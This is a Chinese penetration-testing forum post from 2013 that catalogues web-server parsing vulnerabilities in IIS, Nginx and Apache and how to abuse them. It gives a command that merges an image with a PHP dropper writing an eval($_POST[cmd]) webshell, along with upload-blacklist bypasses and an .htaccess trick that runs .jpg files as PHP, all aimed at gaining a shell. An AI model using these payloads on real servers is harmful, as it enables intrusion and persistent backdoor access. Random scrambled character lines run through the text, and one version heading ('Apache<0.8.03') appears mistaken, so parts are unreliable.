中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
6 Z+ e z x1 w5 s3 G
[+]IIS6.0
; y! O$ Q: ]& {4 X9 _
% v6 K% ~+ v: [9 q
目录解析:/xx.asp/xx.jpg
2 ~3 `0 B7 T+ r9 r
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
$ \% T# l! P, t# P0 J9 I) T# k
IIS6.0 会将 xx.jpg 解析为 asp 文件。
" p9 V# r( `/ L- _0 o3 D' T: z! {
后缀解析:/xx.asp;.jpg
: n5 S7 M) T2 J& g2 n8 i
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
# a/ ?- d, \* x4 w4 X
默认解析:/xx.asa
$ J* ^' Z0 b# t
/xx.cer
( [. c9 r7 [, X; i( j* F5 Z
/xx.cdx
! Q* {9 g- W" v6 n8 y0 W; u
IIS6.0 默认的可执行文件除了 asp 还包含这三种
: A" u1 ]3 K" V! j. V3 R) d; `
此处可联系利用目录解析漏洞
! y" T, O ^0 N. a% V" z
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
: h5 r8 M( s( N9 _ x6 [
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
. Z: x0 c% Q" [
& v1 J* n9 R( C- d% E+ r5 [
IIS 7.0/IIS 7.5/Nginx <0.8.03
$ ?; _4 _5 w* R' [$ C7 \" \, t( R: L
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
0 x" b9 ]5 @7 F( m c: r2 W+ i/ Z" \
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
( A$ P: a# p( U/ g2 |, [
常用利用方法:
4 x* U7 Y5 y n2 H8 b1 L$ z3 c- H/ j
将一张图和一个写入后门代码的文本文件合并将恶意文本
: L8 B0 e: y- j% l1 q
写入图片的二进制代码之后,避免破坏图片文件头和尾
+ Z: t: n8 L7 w1 n( W
如:
* A7 l( y6 ^" e. i0 N2 u$ e# x ^
copy xx.jpg /b + yy.txt/a xy.jpg
+ M* I* m2 l6 S/ l" j) M
#########################################################
" @$ }6 G9 U; w# g# |
/b 即二进制[binary]模式
& }% s* ]' r! l ~9 v5 h6 R: I
/a 即ascii模式
4 I# n4 w$ ] ^! A
xx.jpg 正常图片文件
6 f: p2 Z8 r8 p; Y% L- d+ [
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
* c" _7 o* Q; m& [1 S1 r
'<?php eval($_POST[cmd])?>');?>
/ s7 K" D9 K& X N" _6 W. O5 w3 G1 P
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
( A( ?# R3 [/ n0 {
为shell.php的文件
- O! u; E5 k6 ~. K j
###########################################################
: O/ O2 Q6 g/ c' O4 C$ A
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
0 |; l1 i% y7 G7 M
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
; G3 a, A+ n( s7 Z
密码 cmd
" c5 h1 I: y- g! z8 _
[+]Nginx <0.8.03
' b9 D; M0 H& A
( ^8 A& v% X0 k6 y5 [* ~3 k
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
$ M! K, H6 G$ ^* ~ r- J2 s' P0 c2 B
在一个文件路径(/xx.jpg)后面加上%00.php
9 ~9 S7 W8 I4 b2 \+ w1 f# C, k
会将 /xx.jpg%00.php 解析为 php 文件。
p& ^8 Z1 e3 q( p6 m- k* y) {2 m
[+]Apache<0.8.03
7 J, K9 c0 L9 u) k- K; s+ ?" F
* Y- m; d" V. A l4 b9 \, }: X
后缀解析:test.php.x1.x2.x3
5 p& O! [% Y- J: S3 }- I/ m
Apache将从右至左开始判断后缀,若x3非可识别后缀,
9 q0 v" x, E- I( r
再判断x2,直到找到可识别后缀为止,然后将该可识别
0 J" ]$ o0 v1 M$ z4 x
后缀进解析test.php.x1.x2.x3 则会被解析为php
; ~. O5 Z/ i, Z/ a+ T
经验之谈:php|php3|phtml 多可被Apache解析。
7 f+ u5 o. ]8 ]- O$ e
[+]其他一些可利用的
$ p9 S4 E, R* J1 X6 R% [0 @# y! t
8 q* A( O0 V/ P e# v7 t6 K5 v. z
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
/ ]2 u6 u; ?5 j9 d
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
7 S8 M! H' Q/ I. t, w5 `
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
% ?$ e* }5 S) u% @ N# ~
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
& r, \6 q2 e% c
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
4 L" i; S" H* G' F3 K ~& c, e
{Linux主机中不行,Linux允许这类文件存在}
% N& r% }) k, z7 z# x
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
! n- T2 V" b. s& p, V
的,当初我并不知道),且可以被上传,那可以尝试在
5 R3 B: C- b% P4 ^+ l/ |+ ~1 r
.htaccess中写入:
" I# ^9 {1 [! `
<FilesMatch “shell.jpg”>
0 F7 } ^; `% `
SetHandler application/x-httpd-php
7 C3 z. [. B* N) m
</FilesMatch>
8 }* n( s: M B2 `
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
/ M2 i; j5 L( m& I8 b
[+]错误修改
6 m2 |' z" M/ g. \" k \1 s$ h9 l
9 ]: O1 I! \3 W8 b" m
在 IIS 6.0 下可解析 /xx.asp:.jpg
% _- V0 Y* f8 A4 }2 a* Y
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
5 X9 a; Q/ [3 q, T& J$ ~' o; \
剩下/xx.asp}修改:
/ G& v$ m6 E9 Y& ^+ H. ?6 S
先谢谢核攻击的提醒
$ I* _6 U$ B/ k. q4 W- |# D6 w
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
$ `7 g$ q- Q+ T# z
里是没有任何内容的,因为。。不好解释 大家自己看
+ f t% I& i- L2 o# g5 e
http://lcx.cc/?i=2448
. V6 R; Y9 s0 K. t2 B
http://baike.baidu.com/view/3619593.htm
4 K( E) G: ^" Y* r) ?. f
8 W5 y m7 w0 P1 N9 e' h; Q9 j
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2